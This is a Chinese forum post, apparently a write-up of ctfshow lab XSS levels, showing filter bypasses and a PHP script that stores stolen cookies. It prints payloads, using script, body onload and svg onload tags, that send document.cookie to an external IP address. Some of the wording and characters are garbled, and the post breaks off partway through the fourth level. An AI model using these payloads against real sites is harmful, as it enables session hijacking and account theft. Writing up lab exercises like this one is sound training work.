WEB攻防-通用毛病_XSS跨站_绕过修复_http_only_CSP_标签符号

[复制链接]
发表于 2025-11-7 22:02:03 | 显示全部楼层 |阅读模式
目次
1、关卡361 - 反射型xss
2、关卡317 - 过滤标签
3、关卡318 319 - 过滤标签
4、关卡320--326 - 过滤空格和尖括号
5、关卡327 - 存储型跨站
6、关卡328
7、关卡329 - 失效根据需1步完成所需操纵
8、关卡330 - 存储型-借助修改暗码URL重置管理员暗码(GET方式提交修改暗码)
9、关卡331 - post提交修改暗码
修复方案
1.字符过滤
2、httponly过滤
3、CSP安全计谋
4、别的防止跨站的计谋




下面是ctfshow的关卡
1、关卡361 - 反射型xss

在文本框中输入123,页面中就出现123;即,在输入框中输入什么,页面中就会出现什么
测试:输入“<script>alert(1)</script>”是否会出现弹窗
测试结果:出现弹窗,分析存在跨站xss毛病


怎么去获取这个flag呢,在ctfshow默认会有一个呆板人,天生好跨站地点后,呆板人会自动去访问地点触发跨站,然后让管理员把他的cookie发送出来,作为考题,flag在cookie中。 那么应该怎么获取管理员的cookie呢?
起首我们要知道在js中,document.cookie可以获取到当前的cookie,和window.location.href是跳转到url,通过这两个内部函数去让欣赏器给我们发送cookie,只要打开我们构造的URL就让发生cookie到我们服务器中。以是我们要先预备一个api吸取从目的网站返回的cookie信息
在本身的服务器建一个get.php
  1. # get.php
  2. <?php
  3. $cookie=$_GET['c'];
  4. $myfile = fopen("cookie.txt", "w+");
  5. fwrite($myfile, $cookie);
  6. fclose($myfile);
  7. ?>
复制代码
构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
在输入框输入跨站语句,点击“天生链接”,当呆板人去触发,就可以获取到flag了

2、关卡317 - 过滤标签

上一关的跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
在输入框输入前一关的跨站语句,点击“天生链接”,发现网站没有反应,页面没有表现js语句,欣赏器也没有跳转,但是正常 的输入123如许的,shi没题目的,通过实验发现输入的语句中只要出现了<script>,网站就会对其举行过滤,那么我们把<script>标签换成别的的标签
常见的绕过,参考文章:https://xz.aliyun.com/t/4067
好比把script标签换成img标签,如<img src=1 onerror=alert("xss");>
测试:在输入框中输入img标签的跨站语句,点击“天生链接”,结果弹窗
构造payload:
① <img src=1 οnerrοr=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;>  当图片地点不存在时,触发事故,测试失败,推测大概图片1是存在
② <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">  失败
③ <body/οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 乐成


这个是什么缘故因由呢? 为什么body可以,img不可。着实这是和鼠标事故有关。鼠标事故有错误事故(onerror),有单击事故(onclick),指向触发,尚有事故会在页面或图像加载完成后立即发生(onload,这个是最好的,不须要任何操纵就可触发的)
3、关卡318 319 - 过滤标签

用前面的payload:<img src=adf οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 一样也是被过滤了,
然后用到input标签:<input οnlοad="alert('xss');"> 构造payload: <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">没反应?换一个
用svg标签构造payload: <svg οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转乐成,乐成获取到cookie和flag

4、关卡320--326 - 过滤空格和尖括号

通过测试,发现过滤了空格和<>,只要有空格或尖括号都不可
思量绕过空格,用/代替空格 &

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

×
登录参与点评抽奖,加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表